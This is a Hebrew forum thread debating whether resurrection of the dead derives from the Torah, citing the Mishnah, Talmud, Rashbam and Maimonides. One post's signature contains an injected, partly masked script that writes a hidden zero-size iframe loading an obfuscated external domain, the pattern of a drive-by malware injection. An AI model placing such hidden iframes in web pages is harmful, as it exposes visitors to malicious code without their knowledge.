| נשלח ב-12/4/2011 00:53 |
 |
| |
תחיית המתים מן התורה?!
תחיית המתים מן התורה?! המשנה בסנהדרין אומרת "האומר אין תחיית המתים מן התורה ואין תורה מן השמים ואפיקורס אין לו חלק לעולם הבא" מבואר בלשון המשנה שאין שום משמעות לאדם שמאמין בתחיית המתים כיון שכך נראה לו מתוך הגיון ואדם כזה אין לו חלק לעולם הבא כיון שהאמונה שלו הזאת היא לא "מן התורה" [וכך מדייק רש"י במקום] ומהסיבה הזאת אפשר להסיק שאין גם כל עניין לנסות להסביר את ההכרח שבקימה לאחר מיתה מתוך הגיון או מתוך ניסיון [של מעלי באוב או כאלו שהיו בקומה] כיון שגם מי שיאמין בגלל ההסברים וההוכחות האלו על פי חז"ל עדיין אין לו חלק לעולם הבא והדבר הזה צריך ביאור אם כן איך אנו כאנשים הגיוניים אמורים לתפוס את המושג של תחיית המתים דבר נוסף שצריך להסביר הוא מה הצורך בהוספת האפיקורס לרשימה הזאת כיון שהוא מעצם הגדרתו בכל מקרה לא מאמין לשני ההנחות הראשונות הגמרא בסוטה אומרת "כל אדם שיש בו גסות הרוח אין עפרו ננער" ולכאורה הדבר סותר את דברי המשנה הנ"ל שאומרת "כל ישראל יש להם חלק לעולם הבא" כיון שגסות רוח לא כלולה באף אחת מההגדרות שמוזכרים שם לאלו שאין להם חלק בו מה שמבואר מזה הוא שגסות רוח הוא בעצם ההגדרה הכוללת והעמוקה יותר לכל ההגדרות שמוזכרים בפירוט יותר במשנה משמעות התורה כולה הוא יראת ה' והדבר הזה נרכש בצורה בלעדית על ידי הענווה כדברי הכתוב במשלי "עקב ענוה יראת ה'" ולכן גסות רוח שאין בה ענווה אין בה יראה ולכן האמונה שהתורה מן השמים הוא עצמו תחיית המתים שמן התורה כיון שתורה משמים הוא הכפיפות שיש לשמים והוא מציאות היראה "אתם ראיתם כי מן השמים דיברתי" שהוא האפשרות שה' מדבר והאדם רואה ושומע וזהו "תחיית המתים מן התורה" שהוא השחרור של הרוח לחיים עצמאיים שאינם תלויים בגוף לחוד והוא "מן התורה" כיון שהיא היוצרת נוכחות לאל כיון שהתורה היא היראה שהוא הנוכחות האלוהית שמחייבת את ההכרה להרגיש ולכן רק היא יוצרת חיים חדשים גם לאחר מיתתם בגוף ומהסיבה הזאת אפיקורוס הוא ניגוד לתורה מן השמים כיון שעל אף שאפיקורוס יכול להאמין בכוחות עליונים ולכן אין לו גם בעיה להאמין גם בתורה שירדה מלמעלה בכל זאת כיון שהוא מאמין שההנאה לחוד היא המודד היחידי לאמת ואין לה מציאות נפרדת לכן אין לו חלק לעולם הבא כיון שכל מציאות התורה היא האמונה בדבר שהוא נפרד מגוף החיים עצמם ולאפיקורס אין חלק בה ומהסיבה הזאת הגמרא אומרת שאפיקורוס הוא כל שאומר "מאי אהנו לן רבנן" שהוא הכפירה בחכמה כאידיאל שמרוחק מעיקר החיים עצמם ואילו תחיית המתים הוא ההפיכה של החיים לדבר מרוחק יותר שאפשר לראות אותו בצורה שלמה יותר דווקא אצל החכמים והראיה הזאת המרוחקת, דווקא היא הנמצאת בבסיס ההכרה וההרגשה של החיים שבכל יום למאמין בתורה משמים אמנם בכל זאת יש עניין נוסף שגם הוא מפורט שם מאוד בגמרא והוא עניין ודע מה תשיב לאפיקורס [ויש הדורשים לאפיקורס שבלב – כמובן למי שצריך – ומי לא צריך את זה..]
אלא שודאי שלא הוא עיקר האמונה שאותה חייבו חז"ל ושבה קונה האדם את החלק שלו לעולם הבא
_________________
 |
|
|
|
|
| נשלח ב-12/4/2011 02:48 |
|
| |
לדעתי מי שמאמין בתחית המתים הרציונלי זוכה לעולם הבא הרציונלי,
כלומר: תחית המתים הם התורה והגותו של האדם, כמו הגותו של משה רבינו כמו הגותו של הרמב"ם שקם לתחיה בכל דור ודור,
תחית המתים הם גם תחית האומה, אז שוב זה מאוד תלוי באימון שהוא נותן בעמו, כי רק מי שמעוניין בתחית האומה זוכה לעולם הבא,
כלומר שצאצאיו יהיו אלה שיזכו בתחית האומה,
ולכן גאוותן לא חושב כלל על טובת האומה ותחיתה, ולכן באמת הוא גם לא יזכה לתחיה, לא הוא ולא צאצאיו בעתיד,
על דרך הפשט אפשר להבין את תחית המתים ועולם הבא ממש באופן רציונלי ביותר,
כל אדם לא רוצה לעמול לריק, כלומר שאדם מקים משפחה הוא רוצה בניצחותו של משפחתו לדורי דורות,
ולכן יש רק דרך אחד להשיג אותו, והיא בתוך האומה, כלומר לנסות להמשיך את התרבות וחוקי האומה שמקשרים אותו לאומה, אותו וצאצאיו לדורי דורות,
מבחינת הישרדות אובוליציוני בוודאי שיש משמעות מכרעת בהבנת תחית המתים כפשוטו והבנת עולם הבא כפשוטו,
כלומר מי שרוצה לשרוד באובולוציה ?! חייב ללכת בראש של אנשי התנ"ך
כמו קין שבנה "עיר" לבנו (בשביל מה עיר שלם לבן אחד ? הסיבה לבנות חברה שביחד ישרדו)
כמו נח ובניו שלא רצו לעסוק בקיום המין אחרי המבול, עד כדי כך שאלוקים היה צריך להבטיח לו, וכן מעשה חם כנען לנח גם היה אותו עניין וכן נח שברך את בניו באופן נבואי כלומר: עצם הנבואה גרמה להם שכך יהיה,
כמו אברהם אבינו שברח ממקומות מסוכנים (מקום המבול ומקום דור הפלגה) לחפש לו ארץ טובה שאין שם אסונות טבע,
הכל בשביל הישרדות צאצאיו, וגם הברית מילה, היא גאונות מטורפת בשביל הישרדות צאצאיו כאומה אחידה לדורות,
אפי' בנות לוט הבינו שרק אם הם יתנו שם לבנם על שם המעשה של מסירות נפש להישרדותם, דווקא השם הזה יבנה לבניהם אומה בשם עמון ומואב,
וכן זה הדרך של אנשי התנ"ך בספר בראשית, הם כולם הבינו זאת, שרה מול ישמעאל, רבקה מול עשיו,
עצם לחפש בנות רק מהמשפחה הקרובה, ולא מהמקומים, כל זה היית להם ברור שהסגולה להישרדות היא רק באופן הזה,
והישרדות היא היא העולם הבא ותחית המתים כפשוטו,
השבטים עצמם חשדו ביוסף שהוא רוצה לגרום שהם לא יהיו המשך ליעקב כלומר הישרדות באומה,
וכן זה הכיוון של ספר בראשית וזה הכיוון המחשבתית של זמנם,
וזה גם העניין של עונש כרת,
עונש כרת באים על עיקרי חוקי האומה, שבלי לקיים את החוקים האלה כמו מילה וכיפור ושבת ?! אז בעצם הוא כורת את עצמו מהאומה, ואת צאצאיו לדורות (אם יהיה לו כלל, הרי רק אלה שיש להם עניין בהמשך ונצחיותו של זרעו, רק הם מקימים משפחות)
ואם נדע ונבין את כל זה כפשוטו, אז נקח אחריות על מעשינו לדורי דורות,
לא נוותר על שום בן באומה, כל בן האומה הוא חלק מהאומה, וכחלק שיחסר ועוד חלק שיחסר וכו' וכו' ?!
בסוף כלונו לא נזכה לתחיה ולעולם הבא, כמו עשרת השבטים, וכמו ה90% מהאומה שהפסדנו לפני מאתיים שנה לטובת ההשכלה וההיתבוללות,
אם אנחנו נמשיך לחנך רק בדרש של תחית המתים ורק בדרש של עולם הבא ?!
אז באמת נפסיד את התחית המתים כפשוטו וכמובן גם את העולם הבא כפשוטו,
כמה מגדולי האומה הקדמונים יכולים לומר היום שהם זכו לעולם הבא כפשוטו, כלומר האם אנו יודעים לזהות מי מאיתנו הם צאצאי ר' עקיבא או צאצאי הרמב"ם וכו' וכו' ????
האם עשרת השבטים כמו שמעון יששכר וכו' יכולים לומר שזכו לכך ???
רק יהודה ובנימין ולוי יכולים לומר זאת,
והיות שיש לנו ניסיון בדבר שבגלות אנו לא זוכים לעולם הבא כפשוטו,
אז אל כורחינו רק בארץ ישראל אנו יכולים לזכות בזה,
כי ארץ ישראל היא גם מעיקרי התרבות שלנו, שעונשו הם ממש כרת, הלכה למעשה, כנ"ל (עשרת השבטים וההיתבוללות בזמן ההשכלה,)
(ברצוני לרמז לאלה שיכעסו על דברי כאן, רשב"ם שמות פרק יג פסוק ט (ט) לאות על ידך - לפי עומק פשוטו יהיה לך לזכרון תמיד כאילו כתוב על ידך. כעין שימני כחותם על לבך:)
התחלתי לפחד לומר את דברי כאן,
תוקן על ידי maxmen ב- 12/04/2011 03:17:45
|
|
|
|
|
| נשלח ב-12/4/2011 07:04 |
|
| |
מקס
אמנם הגמרא שם אומרת "תניא ר' סימאי אומר מניין לתחיית המתים מן התורה שנאמר וגם הקימותי את בריתי אתם לתת להם את ארץ כנען - לכם לא נאמר אלא להם - מכאן לתחיית המתים מן התורה"
שהוא בדומה למשמעות שאתה מייחס לתחיית המתים אמנם לא נראה לי שהוא עיקר הפירוש במשנה אלא שהוא אספקט מסוים שלו ולכן וודאי שגם הוא נכון
_________________
|
|
|
|
| נשלח ב-12/4/2011 15:23 |
|
| |
| 1yakovw כתב: |  | | מקס אמנם הגמרא שם אומרת "תניא ר' סימאי אומר מניין לתחיית המתים מן התורה שנאמר וגם הקימותי את בריתי אתם לתת להם את ארץ כנען - לכם לא נאמר אלא להם - מכאן לתחיית המתים מן התורה"שהוא בדומה למשמעות שאתה מייחס לתחיית המתים אמנם לא נראה לי שהוא עיקר הפירוש במשנה אלא שהוא אספקט מסוים שלו ולכן וודאי שגם הוא נכון |
|
בוודאי שיש חז"לים וראשונים לפי דרכי,
אם לא ישירות יש בעקיפין,
לא רציתי לצטט הרבה,
רק צטטי את הרשב"ם לומר שאפי' שפירש כפשוטו הוא בוודאי הניח תפילין כל יום כדרש,
ולכן הוא אומר במקום אחר שהדרש הוא העיקר הלכה למעשה ולא הפשט,
אבל חייב להיות ברור שאם מקיימים את הדרש של תפילין ולא את הפשט ?! אז מה עשינו בעצם ???
כלומר מי שמניח תפילין בלי שיכוון לפשט ?! הוא בעצם עושה צחוק מעצמו,
כך זה בעניין תחית המתים ועולם הבא,
מי שמוותר על הפשט, בוודאי בסוף אין לא גם את הדרש, והבן, ולכן כל זעקתי בעניין,
תוקן על ידי maxmen ב- 12/04/2011 15:25:05
|
|
|
|
| נשלח ב-12/4/2011 16:52 |
|
| |
בשאלות האלה- מן התורה מנין- התמחו בני פפונאי המפורסמים
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-13/4/2011 08:00 |
|
| |
יעקב
ברוך הבא אל הפורום!
העלית נושא מעניין ואולי החשוב ביותר לאדם: האם יש באמת תחית המתים? איך יודעים זאת? כל אחד מאיתנו היה רוצה לדעת בוודאות את התשובה.
אמנם דיוקך מעורר תמיהות ושאלות (שחלקן באמת מתחיל עם לשון המשנה). האם מה שצריך הוא לדעת שיש תחית המתים או להאמין שזה מן התורה? ומהי אמונה זו? לומר בפה? לשנן שוב ושוב בתוך הלב כדיקלום עד שזה משתרש? ומה יעשה אדם שיש לו ספק והוא יודע או מאמין שאינו יודע בוודאות? האם ייענש? זה מפחיד מאד.
ועיין בספר הספרים המודרני על מי שמנסה לגרום לעצמו להאמין בדבר שאינו מאמין בו באמת, הלא הוא "1984" למרן בתחום זה, ג'ורג' אורוול. שם מסופר על גיבור (או אנטי גיבור) הסיפור שנצרך להאמין להצלת חייו בעולם הזה ששתיים ועוד שתיים הן חמש. וזה קשה, כל כך קשה.
***
גם הראיה שהגמרא מביאה, אילולא היינו מוצאים אותה בגמרא, היתה בעינינו כחידה שאין לה פתרון וכטעות שאדם שאינו חושב מספיק יכול לקבל ורק הוא.
הגע בעצמך. הרב שואל את תלמידיו: מי ימצא לנו שרעיון תחית המתים נזכר בתורה. והנה, הוא לא כתוב במפורש, אבל אחד התלמידים טוען שאפשר לקרוא כך וכך את הפסוק, שלא כפשוטו, ואז הנה הרעיון לפנינו. מי יקבל זאת?
אני יכול להבין זאת רק כך: לחז"ל היה ברור שתהיה תחית המתים, מן הסברה (וכי ה' יברא אדם קצר ימים כדי שייעלם לנצח ולא יישאר ממנו דבר? איך המחשבה יכולה לסבול דבר זה?) ומן הנביא (כך נאמר הלא לדניאל מפי המלאך שלו).
ואחרי שיודעים זאת, ואחרי שמניחים שכל דבר חשוב כזה צריך להיות רמוז בתורה, עכשו אפשר לחפש.
שהרי אם ריק זה היה, ריק זה ממנו הוא.
וכפי שכתב דינוזאורוס שלנו באשכול אחר, החיבור בין הידע המוקדם לבין הטקסט, תוך שימוש בשיטות דרשניות בכשרונו של הלומד, יכול להניב חידושים מעניינים ויש מי שיראה בכך "פשט" עמוק שמסתתר בתוך התורה.
***
הרעיון שלך על החסרון בגסות הרוח הוא מעניין אבל בעיני הוא תולדה של נסיון למצוא מכנה משותף במקום שאין. צריך לבדוק אם "אין עפרו ננער" הכוונה דווקא להעדר תחית המתים. זה בהחלט אפשרי כמובן. ויש באמת לשאול מה בין מקור זה לבין המשנה שהיא היסוד לכל זה במסכת סנהדרין. אבל השאלה טובה והתשובה, לדעתי כמובן, אינה מוכרחת. ואע"פ שהיסוד נפל, הבנין לא נפל, ויש לדון עליו כסברה עצמאית. האם זה משקף את האופן שבו התנאים ראו זאת? סלח לי שאיני סבור כמוך. הדברים תלויים בשיקול הדעת.
אבל הנסיון למצוא את האמת ולחפש אחרי אירגון הלימוד הוא רב ערך וראוי לשבח.
***
אם שלילת תחית המתים היא עונש, משמע שבלי זה תחית המתים היתה אמורה להתרחש מאליה, הלא כן? מה זה אומר לגבי טיבה?
שונה סדר של כמה משפטים לשם הבהירות. זה מה שקורה כאשר כותבים ומעתיקים בתוך הדפדפן במקום בצורה מסודרת בקובץ בבית... _________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 13/04/2011 08:03:12
|
|
|
|
|
| נשלח ב-13/4/2011 09:08 |
|
| |
תודה על ההתייחסות המפורטת זה עוזר לי להסביר את עצמי טוב יותר
אני אנסה להסביר יותר מהנחות היסוד ולא כמו שעשיתי שנישתי ישר להוכחות
כיון שכמו שכתבת הדבר לא מתקבל על הדעת שההוכחות שהגמרא מביאה הם אלו שהביאו את המסקנה שמנוסחת במשנה אם כן בהכרח שעלינו לגשת להסבר דברי המשנה מתוך הלשון עצמו
מהסיבה הזאת בהכרח שאי אפשר שנסביר ש"מן התורה" הכוונה כפשוטו מדרישת הכתובים
וכיון שבתורה עצמה לא מוזכר בשום מקום עניין תחיית המתים על אף שהמושג היה ידוע מאוד בזמן נתינת התורה אי ההזכרה שלו מוכיח שהתורה העדיפה שלא להשים עליו דגש ושהוא לא אחד מעיקרי התורה
וכיון שהחיים שלאחר המוות הם עיקר יסודי שבכל דת אי ההתייחסות אליו הוא כדיבור מפורש שהתורה היא שונה מיתר הדתות ושהדבר אם כן הוא אחד מהעיקרים שלה כיון שבו היא מחדשת
איך שאני מבין ואני חושב שכך גם הבינו חז"ל הסיבה שאין בתורה עולם אחר משלנו הוא כיון שהכוונה של התורה הוא לבסס את היראת ה' דווקא על המציאות שקיימת כאן בעולם שלנו ושדווקא מתוך העולם שלנו עולה היסוד והעיקר של התורה
דבר נוסף ברור שחז"ל כן התייחסו לעולם הבא כמציאות שגורמת ליראת שמים כמו שמבואר בפרקי אבות ובעוד הרבה מקומות
וכעת אתייחס ללשון המשנה
"האומר אין תחיית המתים מן התורה"
מהלשון הזה נראה שהיו כאלה שאמרו כך וכידוע זאת הייתה שיטת הצדוקים והם אכן הסתמכו על פשטות לשון הכתובים
חז"ל שרצו להוציא מזה מצד אחד רצו לומר שעצם האמונה בתחיית המתים היא הכרחית למחויבות לתורה והיא שווה בערכה לאמירה שאין תורה מן השמיים
אלא שעדיין נשאר עיקר הקושי עצמו מניין להם לחז"ל להפך את פשוטם של מקראות ולומר שיש עניין בתחיית המתים בעוד שכל מקור הסמכות שלהם הוא התורה
כאן לפי דעתי הם אמרו משפט שיש בו יותר מרובד אחד
יש בו את האמונה הפשוטה שנצרכת להמון העם שהוא ההכרה שיש עולם הבא וההמון שסומך על החכמים סומך גם על אמירתם שהדבר הזה נדרש מתוך דברי התורה עצמה
אלא שיש כאן גם רובד נוסף שהוא מציאות התורה עצמה שהיא מתוכה יוצרת את העולם הבא בעולם הזה
הגמרא אומרת שמשה לא עלה למרום אלא השמיים הם אלו שהתכופפו וירדו למטה כלומר שהשמיים הם אלו שהוכנסו לעולם הזה על ידי התורה שמשה שם לפני בני ישראל והיא "התורה מן השמיים" שמוזכר במשנה כאן
בדומה לזה אפשר להבין שגם "תחיית המתים מן התורה" הוא משפט שמסביר את עצמו ללא צורך בהנחות יסוד נוספות והוא שיש גם תחיית המתים בתורה עצמה
בשני המשפטים האלו ההנחה העיקרית היא שבתורה חוץ מהטקסט עצמו ישנו דבר נוסף ועיקרי יותר שעומד מאחורי המילים ושהעיקר ההוא הוא עיקר המשמעות שיש בו בשבילנו
והמסקנה מזה היא שהיות התורה משמיים הוא ההפיכה שלו למציאות שמבוססת על דבר שהוא מחוץ לעולם שלנו ושממילא היא מעמידה את החיים שמתנהלים על פיו לקיום שהוא חוץ מהעולם שלנו והמציאות הזאת יוצרת במציאות שלו עצמו גם את התחיית המתים שהוא "מן התורה" כיון שהעומק שישנו בתורה מעמיד את החיים מחוץ לאיזור המתים שהם הרשעים שבלשון חז"ל נקראים קרויים בחייהם למתים
לפי דעתי השימוש בלשונות כאלו ובמשמעויות נוספות שיש לדברים פשוטים לכאורה אצל חז"ל מוכרים מאוד לכל מי שמצוי אצל דברים וניסה ולו במעט להבין מה הם התכוונו לומר ולכן אין כל פלא שיש בדבריהם עומק נוסף בנושאים שממהותם מדברים על הדברים שהם מעיקרם הם המימד הנוסף שהוא מעבר למשמעות היום יומית של חיינו
אני חושב שדי בזה לעת עתה ואני מקווה להוסיף בהמשך
_________________
|
|
|
|
|
| נשלח ב-13/4/2011 12:27 |
|
| |
ליעקב
"המשנה בסנהדרין אומרת "האומר אין תחיית המתים מן התורה ואין תורה מן השמים ואפיקורס אין לו חלק לעולם הבא"
"הגמרא אומרת "תניא ר' סימאי אומר מניין לתחיית המתים מן התורה שנאמר וגם הקימותי את בריתי אתם לתת להם את ארץ כנען - לכם לא נאמר אלא להם - מכאן לתחיית המתים מן התורה"
האם אין קשר בין שני הציטוטים?
האם מפשט הדברים לא ניתן להסיק שבעצם הם מדברים בדיוק על אותו דבר?
ולגבי ההוכחה הזאת לתחיית המתים מן הפסוק בתורה:
ההוכחה נראית לי תמוהה ביותר שהרי לפי ההקשר מתאימה המילה להם ולא המילה לכם ולכן השאלה מופרכת מעיקרה.
האם יש לך הסבר?
וגם לאחר דרשתך היפה ומעוררת המחשבה בתכלס לא הבנתי איך אתה עונה לשאלה שהצבת בכותרת של האשכול.
|
|
|
|
| נשלח ב-13/4/2011 12:50 |
|
| |
| מיימוני כתב: | | | אמנם דיוקך מעורר תמיהות ושאלות (שחלקן באמת מתחיל עם לשון המשנה). האם מה שצריך הוא לדעת שיש תחית המתים או להאמין שזה מן התורה? ומהי אמונה זו? לומר בפה? לשנן שוב ושוב בתוך הלב כדיקלום עד שזה משתרש? ומה יעשה אדם שיש לו ספק והוא יודע או מאמין שאינו יודע בוודאות? האם ייענש? זה מפחיד מאד. |
|
עניין תחיית המתים הוא התירוץ היחידי והשלם לכל סתירות הבריאה והנהגתה, כי רק שם חוזרת כל המציאות לקבל פנים חדשות ומושלמות כפי שרצה אותה הבורא. כל ראיית תמונה חלקית של המציאות, שתתעלם מתחיית המתים העתידה, תתקל בקשיים וקושיות לאין קץ כידוע לכל מי שנוגע נגיעה קלה באיזה עניין מענייני התורה הקדושה.
כך שהסברה הפשוטה של כל מאמין מובילה לעניין תחיית המתים כהכרחי.
החידוש של המשנה (המוצג בחריפותו ברש"י שם) שהאמונה היא שרק התורה מובילה את העולם לקראת העתיד המובטח הזה, ואין דרך אחרת להיות חלק מהמהלך בלעדיה. הכוונה שרק התורה תוכל לתת את הפנים החדשות של המציאות, אשר כרגע הם רק בבחינת רמזים קטנים המפוזרים בה, כפי שמביאה הגמרא.
|
|
|
|
| נשלח ב-13/4/2011 12:55 |
|
| |
שותפי
ע' מו"נ ח"ג פי"ב.
|
|
|
|
| נשלח ב-13/4/2011 13:07 |
|
| |
| בעלבעמיו כתב: | | שותפי
ע' מו"נ ח"ג פי"ב. |
|
קושיה או חיזוק ? נא פרט מה ואיפה.
|
|
|
|
|
| נשלח ב-13/4/2011 13:13 |
|
| |
צענע, ההוכחה לא כל כך תמוהה. ה' הבטיח לאבות לתת להם את הארץ. בהם ההבטחה לא התקיימה אלא בזרעם. לכן כשמדברים על קיום הברית היה צריך להיות כתוב וגם הקימותי את בריתי איתם לתת לכם.
|
|
|
|
| נשלח ב-13/4/2011 13:35 |
|
| |
"וידבר אלוקים אל משה ויאמר אליו אני ה'. וארא אל אברהם אל יצחק ואל יעקב באל שדי ושמי ה' לא נודעתי להם.
וגם הקימותי את-בריתי איתם, לתת להם את-ארץ כנען--את ארץ מגוריהם, אשר-גרו בה. ה וגם אני שמעתי, את-נאקת בני ישראל, אשר מצריים, מעבידים אותם; ואזכור, את-בריתי. ו לכן אמור לבני-ישראל, .."
ליתכן
שים לב שאלה דברי ה' למשה ולכן המילה לכם לא מתאימה בהקשר הנ"ל.
|
|
|
|
| נשלח ב-13/4/2011 13:39 |
|
| |
נכון. אבל עדיין השימוש במילה להם (במקום לזרעם, לדוגמא) יכול להידרש במובן של תחיית המתים.
|
|
|
|
| נשלח ב-13/4/2011 13:50 |
|
| |
בגמרא נאמר שהדרש הוא בגלל שלא כתובה המילה לכם.
בגמרא לא נאמר שהדרש הוא בגלל שלא כתוב לזרעם.
|
|
|
|
| נשלח ב-13/4/2011 14:00 |
|
| |
את שוב צודקת. אבל זו דרכה של הגמ'. היא לא טורחת לפרט את האלטרנטיווה במדוייק. ברמה העקרונית הדרשה הזאת סבירה. הדיוק "להם" יש בו ממש.
|
|
|
|
|
